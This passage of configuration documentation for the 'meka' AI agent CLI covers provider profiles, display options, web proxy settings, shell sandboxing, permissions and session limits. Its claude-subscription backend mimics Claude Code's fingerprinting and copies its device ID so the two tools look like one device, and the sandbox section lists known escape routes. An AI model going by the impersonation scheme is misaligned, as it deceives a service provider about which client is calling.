Neither is a limit on the turn. There is deliberately no cap on how long a turn may run, how many tool calls it may make, or how many tokens it may spend: those ceilings belong to your API key and your provider plan, not to the harness. What these bound is silence. A model that is still thinking is still sending, so a stream that goes quiet for five minutes has died, and waiting on it forever is not patience.

default_provider

Top-level field naming the profile to use when --provider isn’t passed. Set it with meka provider use <name>; meka provider add sets it automatically whenever it is absent, not only for the first profile.

Profile fields

type

The backend the profile uses (required).

ValueProtocolAuth
anthropic-messagesAnthropic Messages, POST {base}/v1/messagesAPI key (x-api-key)
claude-subscriptionAnthropic Messages, against api.anthropic.comClaude subscription OAuth (fingerprinting + attestation)
openai-chat-completionsOpenAI Chat Completions, POST {base}/chat/completionsAPI key
openai-responsesOpenAI Responses, POST {base}/responsesAPI key
chatgpt-subscriptionOpenAI Responses, against chatgpt.com/backend-api/codexChatGPT subscription OAuth

A backend names the wire protocol it speaks, not a vendor. See Providers Overview for why, and which servers implement which protocol.

base_url

Custom API base URL. Useful for:

  • Self-hosted models via Ollama (http://localhost:11434/v1)
  • OpenRouter (https://openrouter.ai/api/v1)
  • Other OpenAI-compatible API providers

If not set, defaults to:

  • https://api.openai.com/v1 for the openai-chat-completions and openai-responses backends
  • https://chatgpt.com for the chatgpt-subscription backend (request path is /backend-api/codex/responses)
  • https://api.anthropic.com for the anthropic-messages and claude-subscription backends

Change it with meka provider set <name> base_url <value>.

The two API families end their base URL in different places, and that is not meka’s choice. An OpenAI-compatible base includes the version segment, which is why every provider documents one ending in /v1 and why meka appends only /chat/completions. A Claude base is the host root, because meka reaches two different roots off it: /v1/messages for the turn, and /api/oauth/... for the subscription usage and profile endpoints. A base ending at /v1 could not reach the second set. The official SDKs draw the line the same way.

A gateway that fronts both APIs therefore publishes two URLs, and its Anthropic one is often written with the /v1 its OpenAI sibling needs (https://api.synthetic.new/anthropic/v1). Paste it as-is: for a anthropic-messages or claude-subscription profile meka drops a trailing /v1, since it re-adds that segment on every request and the alternative is a request to /v1/v1/messages. Only a trailing one goes, so a base whose path legitimately contains /v1 earlier (https://gateway.ai.cloudflare.com/v1/{account}/{gateway}/anthropic) is left alone. Trailing slashes are trimmed for every backend.

The reverse is not inferred: an openai-chat-completions base is used exactly as written, because a gateway serving /chat/completions at its root is legitimate and meka cannot tell that apart from a missing /v1. If an OpenAI-compatible endpoint 404s, check that the base carries the version segment its documentation shows.

oauth_token_url

The OAuth token endpoint meka posts to, for the initial code exchange at meka provider add / login and for every refresh thereafter. Both, not just refreshes: it overrides a constant, so it overrides it everywhere that constant is used. Defaults:

  • https://api.anthropic.com/v1/oauth/token for claude-subscription
  • https://auth.openai.com/oauth/token for chatgpt-subscription

It exists because that endpoint is the provider’s fact, not meka’s, and a value baked into the binary either goes stale or sits on the far side of a proxy your network makes you use. Set it with client_id when your route out needs both.

There is deliberately no authorize_url to go with it, and the asymmetry is not an oversight: meka never requests the authorisation URL, it hands it to your browser, so an egress proxy is never in that path. The two legs meka makes itself are the code exchange and the refresh, and this covers both.

client_id

OAuth client ID override (advanced; claude-subscription / chatgpt-subscription only). Leave unset to use meka’s built-in default client IDs.

device_id

claude-subscription only. Stable per-device identifier embedded in metadata.user_id to mirror Claude Code’s ~/.claude.json device ID (getOrCreateUserID in utils/config.ts).

If unset, meka first tries to adopt userID from ~/.claude.json (so meka and Claude Code on the same machine look like the same device). If that file is missing or has no userID, meka generates a 64-character hex string. Either way, the resolved value is persisted back to the profile under [providers.<name>].device_id. This file write only happens for the claude-subscription backend; other backends don’t need a device ID.

You can supply your own value if you want to control attribution explicitly:

[providers.work]
type      = "claude-subscription"
device_id = "your-stable-id-here"

model

The model identifier to send to the provider, forwarded verbatim. meka does not gate which strings are valid, so an OpenAI-compatible endpoint accepts whatever that server exposes.

meka provider add suggests claude-opus-5 for a Claude profile and gpt-5.6-sol for an OpenAI one. For the current line-ups, see Anthropic’s models overview and OpenAI’s models overview; naming them here would go stale on someone else’s schedule.

Change it with meka provider set <name> model <value>.

context_window

The model’s context window (total tokens it can hold), used for the /status gauge and auto-compaction. Takes precedence over [session].context_window; when neither is set, meka assumes 1000000.

meka never infers this from the model name and never asks the provider for it, so this is where a model smaller than the default gets stated. It is a local budgeting number that is never sent on the wire, so a wrong value can’t fail a request - but leaving it at 1M for a smaller model means planned compaction never fires, and every compaction instead happens after the provider rejects the request as too large, costing a wasted round trip each time.

The window belongs to the session, not to the process: each session is measured against the profile it recorded, so two sessions in one meka serve can sit on profiles with different windows.

[providers.work]
type           = "openai-chat-completions"
model          = "my-128k-model"
context_window = 131072

max_output_tokens

Override the per-request output (completion) token cap. When unset, each backend keeps its built-in default:

BackendDefault when unset
Claude, thinking adaptive64000
Claude, budgetedtwice the resolved budget, or 32000, whichever is larger
Claude, off32000
openai-chat-completions with an effort set32000, since reasoning spends output tokens
Everything else, both Responses backends includedthe endpoint’s own

Under thinking = "budgeted" the value must exceed the profile’s resolved thinking budget (thinking_budget, else [thinking].budget_tokens, else 16000). meka provider add and meka provider set both refuse a profile that fails this, and it is validated again at startup.

[providers.work]
type              = "anthropic-messages"
max_output_tokens = 16000

effort

One knob for reasoning effort across every backend: Claude sends it as output_config.effort (claude-subscription under the effort-2025-11-24 beta, anthropic-messages directly), OpenAI as reasoning.effort (with max_completion_tokens in place of max_tokens).

When unset the field is omitted, and the provider applies its own default. claude-subscription is the exception: it sends high, matching Claude Code. That is the point of leaving it unset: effort is a request parameter the provider owns, and omitting it is how you ask for whatever that provider considers right. meka picks no tier of its own, because it cannot know which tiers a given endpoint implements - anthropic-messages and openai-chat-completions reach any compatible server, including local ones serving weights that never had a reasoning knob, and a tier the backend doesn’t implement is a rejected request rather than a graceful ignore.

An explicit value is absolute: sent verbatim (trimmed and lowercased), with no validation or clamping, whatever model it is aimed at. You own correctness for your model and endpoint; an invalid value is rejected by the API. A blank value reads as unset.

Typical values: low, medium, high, xhigh, max.

[providers.work]
type   = "claude-subscription"
effort = "xhigh"

vision

Whether this profile’s model accepts image input. Defaults to true. Set false for a text-only model so attachments are refused rather than sent to a model that cannot read them.

Refusal is per session, from the profile that session recorded, on both ACP and POST /v1/sessions/{id}/turn. What ACP advertises in promptCapabilities.image is necessarily per connection: initialize is answered before any session exists, so it reports the default profile’s flag. A client on a vision-capable connection can still have its attachment refused by a session pinned to a text-only profile. See ACP.

[providers.local]
type   = "openai-chat-completions"
model  = "llama-3-8b"
vision = false

thinking

Claude-only. How the request encodes extended thinking, and whether it asks for it at all:

ValueWire shape
adaptive (default)thinking: {"type": "adaptive"} - the model sets its own budget. Claude 4.6+
budgetedthinking: {"type": "enabled", "budget_tokens": N}, with N from thinking_budget, else [thinking].budget_tokens, else 16000. Required by pre-4.6 Claude, and the form most third-party Anthropic-compatible servers implement
offNo thinking field

One knob rather than two: it replaces both the old on/off switch and the encoding meka used to infer from the model name. The right value depends on the model and on what the endpoint implements, which meka can’t determine, so the profile states it - and a profile whose model later changes is yours to keep correct.

[providers.local]
type     = "anthropic-messages"
thinking = "budgeted"

thinking_budget

Tokens the model may spend thinking. Read only under thinking = "budgeted"; the other two modes send no budget at all. A profile that states none falls back to [thinking].budget_tokens, and then to 16000.

Per profile because it is a parameter of thinking, and thinking is per profile. It was one installation-wide value until 0.44, which meant a profile could be refused over a number stated nowhere in it, and told to fix it by lowering a global every other profile was also budgeting against. Under thinking = "budgeted" this profile’s max_output_tokens must exceed the resolved budget, and the remedy now names this profile’s own keys.

[providers.work]
type            = "anthropic-messages"
thinking        = "budgeted"
thinking_budget = 20000

redact_thinking

claude-subscription only. Sends the redact-thinking-2026-02-12 beta header for capable models, matching Claude Code, which enables it by default. With it on the server withholds the readable chain of thought: thinking blocks return with empty text plus a signature, and redacted_thinking blocks carry an opaque data payload. meka preserves and replays both verbatim, so multi-turn continuity holds. No reasoning text is shown for these models; in its place the REPL draws a live Thinking... (150 tokens) indicator from the server’s running estimate, redrawn as the count climbs and left on screen when the phase ends, so a long silence reads as progress and stays legible afterwards. Defaults to true; set false to drop the beta and keep interleaved thinking visible.

[providers.work]
type            = "claude-subscription"
redact_thinking = false

meka provider CLI

Add, switch, and remove profiles without editing config.toml by hand. The credential prompt / OAuth login runs as part of add and login, and secrets are written to the database, never the config file.

CommandAction
meka provider add <name> [--type T] [--model M] [--base-url U] [--api-key-stdin]Add a profile. Prompts for any of type/model interactively when not flagged (the model prompt offers a backend default: claude-opus-5 for Claude, gpt-5.6-sol for OpenAI), then acquires the secret (OAuth login for claude-subscription / chatgpt-subscription, API-key prompt for anthropic-messages / openai-chat-completions / openai-responses). --api-key-stdin reads the key from stdin instead, and then needs --type and --model as flags too, since a prompt would consume the piped key; it is refused for the two subscription backends, which have no key to read. Becomes default_provider whenever none is set. Every other profile field has a flag writing the key of the same name: --oauth-token-url, --client-id, --context-window, --max-output-tokens, --effort, --vision, --thinking, --thinking-budget and --redact-thinking, so one non-interactive command can create a profile of any shape. The optional advanced prompt covers only thinking, context window and effort, plus the thinking budget if you answer budgeted; the rest are flag-only, and an unflagged setting is left out of the profile so its documented default applies. device_id has no flag, because meka resolves and persists it itself.
meka provider listList configured profiles with type, model, the default marker, and whether each has a stored credential. Also names any stored credential that no profile claims (see Leftover credentials).
meka provider set <name> <key> <value>Change one setting on an existing profile, in place. --unset in place of the value removes the key instead. See Changing one setting.
meka provider use <name>Set default_provider to this profile.
meka provider login <name> [--api-key-stdin]Re-acquire the secret for an existing profile (re-authenticate, recover from a dead OAuth refresh token, or rotate an API key). --api-key-stdin reads the key from stdin for scripted rotation, and is refused on the subscription backends, which have no key to read. Every other setting on the profile is kept, which remove + add would not do.
meka provider remove <name>Delete the stored credential from the database and remove the [providers.<name>] entry from the config file. Works on a name with only one of the two, so it can clean up after a hand-edit. Warns if it clears a default_provider that other profiles are still competing for, and if any sessions are pinned to the profile it deleted (those refuse to resume until it is configured again, or moved with meka -r <id> --provider <name>).

--api-key-stdin reads the key from standard input instead of prompting, for scripted setup:

$ printf '%s' "$OPENAI_API_KEY" | meka provider add local --type openai-chat-completions --model gpt-5.6-sol --api-key-stdin

Changing one setting

meka provider set <name> <key> <value> writes one key into [providers.<name>]: every other setting keeps its value, and every comment you wrote above or beside a key stays attached to that key. This is how a profile’s model changes, since there is no per-run flag for it.

Keys are left in the order Profile fields documents, so a profile meka has written to is in that order whatever order it was in before. That is deliberate rather than incidental: every writer normalises, so the file does not depend on which command last touched it, and there is one shape to read rather than one per history. Comments move with their keys, so an annotated profile stays annotated.

$ meka provider set work model claude-opus-5
$ meka provider set work context_window 200000
$ meka provider set work effort --unset

--unset removes the key so the profile falls back to meka’s default for it. That is not the same as writing an empty value: an absent key follows whatever the documented default later becomes, which is what an unstated setting has always meant.

Eleven keys are settable, each named after the profile field it writes:

KeyValue
base_urlAny string
oauth_token_urlAny string
client_idAny string
modelAny string, forwarded to the provider verbatim
context_windowA whole number of tokens
max_output_tokensA whole number of tokens
effortAny string
visiontrue or false
thinkingadaptive, budgeted, or off
thinking_budgetA whole number of tokens
redact_thinkingtrue or false

A token count must be whole and at most 9223372036854775807, the largest integer TOML can represent; anything else is refused before the file is opened. A boolean takes true or false and nothing else, so yes and 1 are refused rather than read as true. A key that is not on the list, and a profile name that is not configured, are both refused by name with the valid ones listed.

type and device_id are on the profile but deliberately not settable, and the refusal says why rather than leaving them silently off the list:

  • type would leave the profile’s stored credential, acquired for the current backend and different in kind between backends, unable to serve it. Use meka provider remove and then meka provider add instead.
  • device_id is meka’s own, resolved and persisted per profile (see device_id).

Two more rules are enforced on meka provider add and meka provider set alike, so neither door can leave behind a profile the other would have declined:

  • thinking, thinking_budget and redact_thinking on a backend that never sends them. thinking and thinking_budget are Anthropic Messages request fields, so anthropic-messages and claude-subscription profiles carry them and nothing else does. redact_thinking is narrower still: it gates a beta header only claude-subscription sends, so an anthropic-messages profile takes a thinking field and declines the redaction flag beside it. set refuses the key and writes nothing; add drops the flag with a warning and creates the profile without it. Same outcome either way: the key never lands where it would read plausibly and do nothing. set --unset is allowed on all three, because removing an inert key is the remedy rather than the offence, and a hand-edited file is the one place one can already be sitting.
  • A max_output_tokens that does not exceed the thinking budget, under thinking = "budgeted" on one of those two backends. The budget is drawn from the output cap, so such a profile cannot produce a valid request; both commands check the file they are about to write and refuse before writing it.

Leftover credentials

Adding a profile by hand works: write a [providers.<name>] block, then run meka provider login <name> to attach the credential. Deleting one by hand is only half the job. Credentials live in the database keyed by profile name, so removing the block takes the settings away and leaves the API key or OAuth refresh token behind, still valid.

Nothing deletes it on your behalf. meka will not sweep the database against the config at startup: MEKA_CONFIG_DIR and MEKA_DATA_DIR are independent, so a config read from the wrong place, or one meka could not parse, would present as “no profiles configured” against a real database and take every credential with it. Losing an OAuth refresh token that way means redoing the browser login for each account.

Instead, meka provider list reports what it finds:

$ meka provider list
Name  Type                Model          Authenticated  Default
work  anthropic-messages  claude-opus-5  yes            *

Stored credentials with no profile: archive

meka provider remove archive then deletes it. The same applies to MCP servers, reported by meka mcp list and cleaned by meka mcp remove <name>.

Examples

claude-subscription

$ meka provider add work --type claude-subscription --model claude-opus-5
# Opens the browser for the OAuth login, then stores the token in the database.

anthropic-messages

$ meka provider add anthropic --type anthropic-messages --model claude-opus-5
# Prompts for your Anthropic API key (sk-ant-api03-...).

openai-chat-completions

$ meka provider add openai --type openai-chat-completions --model gpt-5.6-sol
# Prompts for your OpenAI API key (sk-...).

openai-responses

$ meka provider add openai --type openai-responses --model gpt-5.6-sol
# Prompts for your OpenAI API key (sk-...). Same key as openai-chat-completions,
# newer protocol; also reaches Ollama, vLLM, LM Studio and OpenRouter.

chatgpt-subscription

$ meka provider add chatgpt --type chatgpt-subscription --model gpt-5.6-sol
# Opens the browser for the ChatGPT OAuth login.

Ollama (local, no key)

$ printf 'unused' | meka provider add ollama --type openai-chat-completions --model llama3 \
    --base-url http://localhost:11434/v1 --api-key-stdin

OpenRouter

$ meka provider add openrouter --type openai-chat-completions --model anthropic/claude-sonnet-4.6 \
    --base-url https://openrouter.ai/api/v1
# Prompts for your OpenRouter key (sk-or-...).

[display]

Settings for output formatting.

display.render_mode

Output render mode. Equivalent to the --render-mode CLI flag.

ValueDescription
syntectSyntax-highlighted markdown source, incl. per-language code blocks; never reflowed
termimadRendered CommonMark, reflowed to the terminal: paragraphs re-wrap, wide tables wrap, markers are consumed. Same theme colours as syntect, and code blocks are highlighted by it. Alias: rich (default)
rawRaw markdown printed verbatim with aligned tables

Default: termimad

Reflowing only happens when there is a terminal to reflow to. With output redirected or piped, termimad renders without wrapping, so a captured answer is not hard-wrapped to some fallback width.

[display]
render_mode = "raw"

display.max_width

Widest line meka composes from model output, in terminal columns.

Default: unset, meaning the terminal’s own width, so nothing ever wraps.

Set it to pin the width instead:

[display]
max_width = 120

A set value is honoured exactly rather than clamped to the terminal, because pinning it is how you get identical output across machines and a silent clamp would take that away on the narrow one. The cost is that a value wider than your terminal wraps, and a wrapped row starts at column zero, where meka’s own output lives. Below 40 columns the value is clamped up and a warning is logged: every budget subtracts fixed chrome first, and below roughly that the subtraction leaves nothing. Above 1000 it is clamped down, also with a warning, since no terminal is that wide and the value is far more likely to be a typo than a request.

This covers meka’s own output: tool indicators and their argument block, thinking previews, todo lists, and the ask approval prompt. Assistant markdown is not affected and keeps reflowing to the real terminal through display.render_mode. With output piped there is no terminal to measure, so an unset width falls back to 100 columns and a captured run stays byte-stable.

A terminal narrower than 20 columns is treated as 20. That is not a legibility judgement: the thinking block’s own prefix is twelve columns, so below roughly that meka’s chrome no longer fits and the width stops meaning anything. Such a terminal wraps meka’s output whatever the number says.

display.tool_params

How much of a tool call’s input the [tool ...] indicator shows.

This setting covers the indicator only. In ask permission mode the approval prompt always shows every argument, whatever this is set to: the indicator is a notification, the prompt is a decision, and setting off for a quiet scrollback must not leave you approving calls you cannot see.

ValueDescription
offName only: [tool Shell]. No argument reaches your terminal
summaryName plus the one argument that identifies the call: [tool Shell(`cargo test`)] (default)
fullEvery argument, as an indented block under the name

Default: summary

full writes each parameter on its own line. A value that fits on a line follows its key; one that does not gets an indented block under a bare key:, so a multi-line edit_file argument stays readable instead of collapsing into escaped newlines. Nesting is carried by indentation, with - for array elements:

[tool EditFile]
  path: src/render.rs
  old_string:
    let first_line = thinking.lines().next().unwrap_or("");
    let truncated = truncate_display(first_line, 80);

[tool AgentSpawn]
  prompt: Audit the scheduler for missed-occurrence bugs
  tools:
    - read_file
    - search_contents

Consecutive calls are separated by a blank line under full, since each one is a block and running them together reads as a single call with too many parameters. Under summary they stay flush, which is what makes a run of them read as a list of steps.

This is a reading format, not a data format: quotes are dropped, so timeout: 300 doesn’t say whether the model sent 300 or "300". Four caps keep one call from filling the screen, and each says what it hid:

CapLimitMarker
One argument’s value30 lines... N more lines, indented under that argument
One argument’s rows32 rows... N more rows, indented under that argument
The block60 rows, checked at an argument boundary... N more arguments: name, name
One linedisplay.max_width... at the cut

The first two caps look redundant and are not. A string value has lines to count, so it is trimmed by line and the marker counts lines. An array or an object has none: it fans out one row per element, so it needs a bound counted in rows, and the marker says rows rather than pretending they were lines.

The line cap is exact, brackets and indentation included. The block cap is not: it is checked before an argument is rendered rather than after, so the block reaches at most the block cap plus one argument’s own budget plus the line naming what went – 93 rows.

The block cap drops whole arguments and names them rather than cutting wherever row 60 lands. Knowing that path was passed but not shown beats seeing 60 rows of content and never learning which file it was written to.

A cut keeps the end. Where a whole argument is dropped it is named; where rows are dropped the last one is kept, so a long array still shows its final element and a trimmed value still shows how it finishes. The reasoning is the same one that elides a long path from its middle rather than its tail: the end of a thing too big to show is usually the half that identifies it.

When you need the exact JSON a tool was called with, meka session export has it, untruncated and unflattened.

full puts every argument on screen, secrets included. summary shows only the one argument that identifies a call (write_file’s path, fetch_url’s URL), so a request header carrying a token or a file body carrying a key stayed off screen. full shows all of them, and replayed history reprints them on every /history and every resume. meka never puts its own credentials into tool arguments, so what appears is what the model itself passed, but that is worth knowing before turning this on where somebody can read over your shoulder or your scrollback.

Values are escape-stripped, their newlines and carriage returns flattened, and Unicode format characters (bidi overrides, soft hyphens, zero-width joiners) removed, so an argument cannot move your cursor, reorder what you read, or place text at column zero where meka’s own output lives.

No line exceeds display.max_width, so by default nothing wraps and no row ever begins with model text. Setting max_width wider than your terminal gives that up, which is the one case where a long argument can still produce a row starting flush left.

One residual caveat: the ... N more lines, ... N more rows and ... N more arguments markers are ordinary text, so an argument whose content mimics one is indistinguishable from a real elision. That does not let an argument run anything, but it can mislead a reader who is not expecting it.

Applies to the REPL, to one-shot runs (meka --oneshot), and to replayed history (/history, resume_show_recent). ACP sends structured tool-call fields to the editor and the HTTP API’s SSE events already carry the raw input, so neither is affected.

[display]
tool_params = "full"

display.show_session_id_on_create

Whether to display the session ID when a new session is created.

Default: false

display.show_session_id_on_exit

Whether to display the session ID when meka exits.

Default: true

[display]
show_session_id_on_create = true
show_session_id_on_exit = false

display.show_path_in_prompt

Whether to show the current working directory in the interactive prompt.

Default: true

display.show_context_in_prompt

Whether to show a live context-window gauge in the interactive prompt, e.g. 128.4k/1.0M 13% (tokens in context / model window / percent used). The figure comes from the most recent turn’s reported usage (and an estimate right after /compact or on resume), the same value /status shows on its Context: line. Hidden until the first turn produces a measurement.

Default: false

display.newline_before_prompt

Whether to add a blank line before the prompt, after whatever the previous line produced.

Default: true

display.newline_after_prompt

Whether to add a blank line after the line you typed, before its output. On a resume there is no typed line: the Continuing session: banner takes its place, and this is the blank between that banner and the replayed history.

Default: true

Both apply to anything printed between two prompts, not only agent responses. That span is the unit, whatever filled it: a turn, a slash command’s output (/tasks, /memory, /help, …), an error, a scheduled job waking the shell to run several turns at once, or any combination. It is bracketed once, by whichever of those printed first and last – never once per turn inside it, and never twice because two things both thought they owned the spacing.

Both space output away from meka’s prompt, so neither applies at the edges of a run, where the prompt is your shell’s. Whatever meka prints before drawing its first prompt sits directly under the command you typed – Continuing session: on a resume, or the answer to a prompt you passed on the command line – and its last line is followed straight by the shell prompt. Start meka with no prompt and there is nothing above its first prompt to space away from, so the rule never comes up.

The blank lines bracket output, so a span that prints nothing gets neither, and leaves the screen exactly as it found it. In practice every slash command says something, even if only that a list is empty. Three cases where nothing is printed and nothing is spaced: a successful /cd, because the prompt itself is the confirmation; a successful /clear, because the cleared screen is; and a scheduled wake that finds nothing left to run. !command is the one exception in the other direction – it is always bracketed, because meka hands the terminal to the child process and never learns whether it wrote anything, so a silent !touch file still gets its blank lines.

Turning a setting off removes that blank line and nothing else. The spacing between blocks of a single response – a tool indicator and the answer that follows it, or a thinking block and the text after it – is not controlled by either flag and does not change.

display.show_token_usage

When true, meka prints a one-line per-turn token-usage summary to stderr after each turn:

[in 12.3k / cache hit 96% / out 1.2k]

The in column is the total of all three Anthropic input tiers (live, cache-write, cache-read); cache hit % is cache_read / total_in. Useful for monitoring caching effectiveness during long sessions. The /status slash command surfaces cumulative session stats in the same vein.

Default: false

display.resume_show_recent

When set to a positive integer N, resuming a session reprints the last N turns (each turn = the user’s prompt plus everything the agent did in response, styled to match the live REPL) instead of just the last assistant message.

Useful when you regularly resume long-running sessions and want more context than the single-message default. Inside a session, the /history slash command provides the same rendering on demand (/history dumps everything; /history N shows the last N turns).

Default: unset (resume reprints only the last assistant message, today’s behaviour).

[display]
resume_show_recent = 3

display.input_style

Visual style applied to a REPL prompt once it is submitted. Makes past prompts easy to spot when scrolling back through a long session. A line still being edited keeps the terminal’s own colours; the style arrives on reedline’s final paint, which is the one that lands in scrollback.

The leading /command token is a separate signal and is coloured as you type, green when meka recognises the command and red when it does not. This setting does not affect it.

Accepted values:

  • default (or unset): bold white-ish foreground on a slate-blue background, rendered in truecolor RGB so it looks the same across terminal themes.
  • none: disable styling entirely.
  • reverse: reverse video (swaps the terminal’s current foreground and background).
  • bold, dim, italic, underline: single attribute, no colour change.
  • A colour name (black, red, green, yellow, blue, magenta / purple, cyan, white): set only the foreground, mapped to the terminal’s palette.

Unknown values warn at startup and fall back to default.

Default: the banner preset described above.

[display]
show_path_in_prompt = false
newline_before_prompt = false
newline_after_prompt = false
input_style = "none"    # or "cyan", "bold", "dim", etc.

[web]

Settings for the HTTP client shared by fetch_url and search_web. All keys are optional; unset fields use the defaults shown below.

KeyTypeDefaultPurpose
user_agentstringReal Chrome UASome search engines block non-browser UAs. Override if you need a specific identifier.
request_timeout_secondsint30Total request budget (connect + TLS + read). 0 falls back to the default.
connect_timeout_secondsintunsetSeparate cap on TCP + TLS handshake. Fail fast on unreachable hosts without shortening the whole request budget.
read_timeout_secondsintunsetPer-chunk idle timeout. Catches bodies that stall mid-stream.
max_redirectsint10Cap on 3xx hops. 0 disables redirects entirely.
proxystringunset (honours HTTP_PROXY / HTTPS_PROXY / ALL_PROXY env)Proxy URL. Schemes: http://, https://, socks5://, socks5h://, socks4://. The literal string "none" explicitly disables env-var auto-detection.
ca_cert_filepathunsetExtra PEM bundle to trust on top of the system store. Useful for corporate MITM proxies or self-signed internal services. Accepts single-cert and multi-cert files.
https_onlyboolfalseRefuse plain http:// URLs.
min_tls_versionstringunset (reqwest default)Minimum TLS version. Accepts "1.0", "1.1", "1.2", "1.3". Unknown values log a warning and fall through. Note: the bundled rustls backend supports only TLS 1.2 and 1.3; "1.0" / "1.1" will surface a build error.
danger_accept_invalid_certsboolfalseDANGEROUS. Disable TLS certificate validation entirely. Emits a warn! on every startup when enabled. Only use against trusted local dev servers.
danger_accept_invalid_hostnamesboolfalseDANGEROUS. Accept certificates whose hostname doesn’t match. Emits a warn! on every startup when enabled. Only use against trusted local dev servers.

Example: corporate proxy with a private CA

[web]
proxy = "http://corp-proxy.internal:3128"
ca_cert_file = "/etc/ssl/corp-root-ca.pem"
min_tls_version = "1.2"
request_timeout_seconds = 60

Example: local testing against self-signed certs

[web]
# Route everything through a local SOCKS proxy you control.
proxy = "socks5h://127.0.0.1:1080"
# Accept self-signed certs on dev.local, KEEP THIS OFF IN PROD.
danger_accept_invalid_certs = true

Example: fail-fast timeouts

[web]
request_timeout_seconds = 5
connect_timeout_seconds = 2
max_redirects = 0

[shell]

Settings for shell command execution.

shell.sandbox

Whether to enable read-only filesystem sandboxing for shell commands in read mode. When enabled (default), shell commands can be executed at read and workspace but with the filesystem write-protected outside the workspace roots. When disabled, shell commands require unrestricted.

Default: true

[shell]
sandbox = false  # disable sandboxed shell in read mode

The sandbox uses one of two backends on Linux (see shell.sandbox_backend), sandbox-exec on macOS, and a duplicated Low-integrity primary token on Windows. On platforms where no backend is usable, shell commands always require unrestricted regardless of this setting.

shell.sandbox_backend

Linux-only choice between "landlock" and "bubblewrap":

  • Bubblewrap ("bubblewrap") wraps the command in bwrap with read-only bind of /, tmpfs masks over /run / /tmp / /var/tmp / $XDG_RUNTIME_DIR, and --unshare-user --unshare-pid --unshare-uts --unshare-ipc. The tmpfs masks hide the dbus session bus and the systemd-user socket, so state-changing IPC calls like systemctl --user start and dbus-send fail. Network is intentionally not unshared so curl http://x | pdftotext still works. Requires the bubblewrap package and a kernel with user-namespace creation enabled.
  • Landlock ("landlock") uses the Landlock LSM to block filesystem writes, and requires ABI v3 (kernel 6.2+): below that truncate(2) is unmediated, so a read-mode command could still empty a file, and meka reports the backend unusable instead. On kernel 7.1+ (ABI v9) it also blocks connect() to Unix sockets on disk, closing the dbus / systemd-user route out of the sandbox at the cost of socket-based clients like docker and psql. Between v3 and v9 that right does not exist, so a sandboxed shell can still invoke state-mutating dbus methods; meka warns at startup naming what the running ABI lacks. Kept as the lighter-weight fallback for hosts without Bubblewrap.

When omitted, meka probes Bubblewrap once at startup. If Bubblewrap is available it auto-picks it; otherwise it auto-picks Landlock and emits a one-shot warning nudging you to install bubblewrap for stronger protection. Set the field explicitly to either value (including "landlock") to suppress that warning. meka provider add does not write this field; leave it unset to keep auto-detection.

If the configured backend can’t be used at runtime (bwrap not installed, user namespaces denied, etc.), execute_command in read mode hard-errors with a message naming the configured backend and the specific failure reason. Read mode is not blocked for other tools; only execute_command requires a usable sandbox.

Overridable for one run with meka --sandbox-backend landlock|bubblewrap, and for a whole environment with MEKA_SANDBOX_BACKEND. Precedence is flag, then environment, then this field.

Default: unset (auto-detect). Ignored on macOS and Windows.

[shell]
sandbox = true
sandbox_backend = "bubblewrap"  # or "landlock"

[permissions]

Controls which permission modes are reachable at runtime and which mode the session starts in. See the Permissions page for what each mode does.

FieldRequiredDescription
defaultNoMode the session starts in. One of "none", "read", "workspace", "ask", "unrestricted". Default "read". Overridden by --permission and MEKA_PERMISSION.
enabledNoList of modes that can be reached at runtime via /permission and Shift+Tab. Default ["none", "read", "workspace", "unrestricted"]; "ask" is opt-in. Disabled modes are skipped during Shift+Tab cycling and rejected by /permission with an error.

If default is not in enabled, meka logs a warning and falls back to read if it’s enabled, otherwise the lowest-discriminant enabled mode (in none → read → workspace → ask → unrestricted order). Same behavior if --permission or MEKA_PERMISSION selects a disabled mode: meka warns and starts in the configured default rather than refusing to launch.

[permissions]
default = "read"
enabled = ["none", "read", "workspace", "ask", "unrestricted"]  # opt back into ask

[session]

Settings for session history retention and context window management.

session.context_messages

Maximum number of messages to send to the LLM API per request. Older messages are truncated from the beginning while preserving tool call chain integrity. The full history remains stored in SQLite; only the API payload is limited.

The cap is applied to every request in a turn, not just the first, so a long tool loop cannot grow the payload past it mid-turn. It is a maximum rather than a target: the cut lands on the first message that is safe to start from, which means dropping a whole tool_usetool_result pair rather than splitting one, and a request can end up under the limit as a result. A turn whose entire tail is one unbroken tool chain is the exception; there the payload runs over rather than be rejected by the provider.

Default: 200. 0 is rejected at startup.

[session]
context_messages = 100

session.retention_days

Delete sessions older than this many days, at agent startup. Uses updated_at, so an actively-resumed session is preserved even if created long ago. Deletions are reported at warn level.

Two kinds of session are spared whatever their timestamp says, and the sweep reports how many it left behind. A session another meka process has open is skipped – only turns bump updated_at, and resuming does not, so a REPL sitting at its prompt past the window looks expired while somebody is in front of it. And a session with a scheduled job still ahead of it is never expired, nor is any parent of one: a gated watcher that evaluates every tick and rarely fires looks untouched for exactly as long as it is working, and deleting it would take the schedule with it.

Default: unset, meaning nothing is deleted. Conversation history isn’t reproducible, so meka keeps it until told otherwise. Use meka session delete --older-than-days <DAYS> to prune manually instead.

[session]
retention_days = 30

session.auto_compact

Automatically compact the conversation when input tokens exceed 80% of the context window. Compaction summarizes older messages and preserves recent ones, the todo list, and scratchpad entries.

Default: true

[session]
auto_compact = false

session.compact_checkpoint

Run a checkpoint turn before each compaction, in which the agent saves anything that must outlive the window and writes the replacement summary itself. See Compacting a Session.

Costs one extra model call per compaction. Turning it off falls back to a standalone summarizer that has no tools and none of the agent’s identity, so it cannot save to memory and cannot apply any judgment about what this particular agent is for.

Note that this applies to automatic compactions too, so an unattended checkpoint can write memory with nobody watching.

Default: true

[session]
compact_checkpoint = false

session.context_window

Override the model’s context window size (in tokens). Used for auto-compact threshold calculation. A per-profile [providers.<name>].context_window takes precedence over this.

When neither is set, meka assumes 1000000. It does not infer the window from the model name, query the provider’s models API, or cache anything: the window is a local budgeting number that is never sent on the wire, so a wrong value can’t fail a request, and the user is the one who knows the truth.

1M suits the current flagship models and overshoots the smaller and older ones. Overshooting is survivable rather than free - planned compaction never fires, so those sessions compact only after the provider rejects an over-long request, paying a wasted round trip each time. Set the real window on any profile whose model is smaller.

[session]
context_window = 200000

session.subagent_max_depth

Maximum recursion depth for sub-agents spawned via agent_spawn. The root agent spawns at depth 1, its sub-agents at depth 2, and so on; each level below this limit is granted its own agent_spawn. 1 reproduces the historical behavior where sub-agents cannot spawn further sub-agents; 0 disables agent_spawn entirely. An agent can tune a subtree with the tool’s max_depth parameter, but a built-in absolute cap always bounds real nesting so recursion can’t run away.

Default: 3

[session]
subagent_max_depth = 3

[thinking]

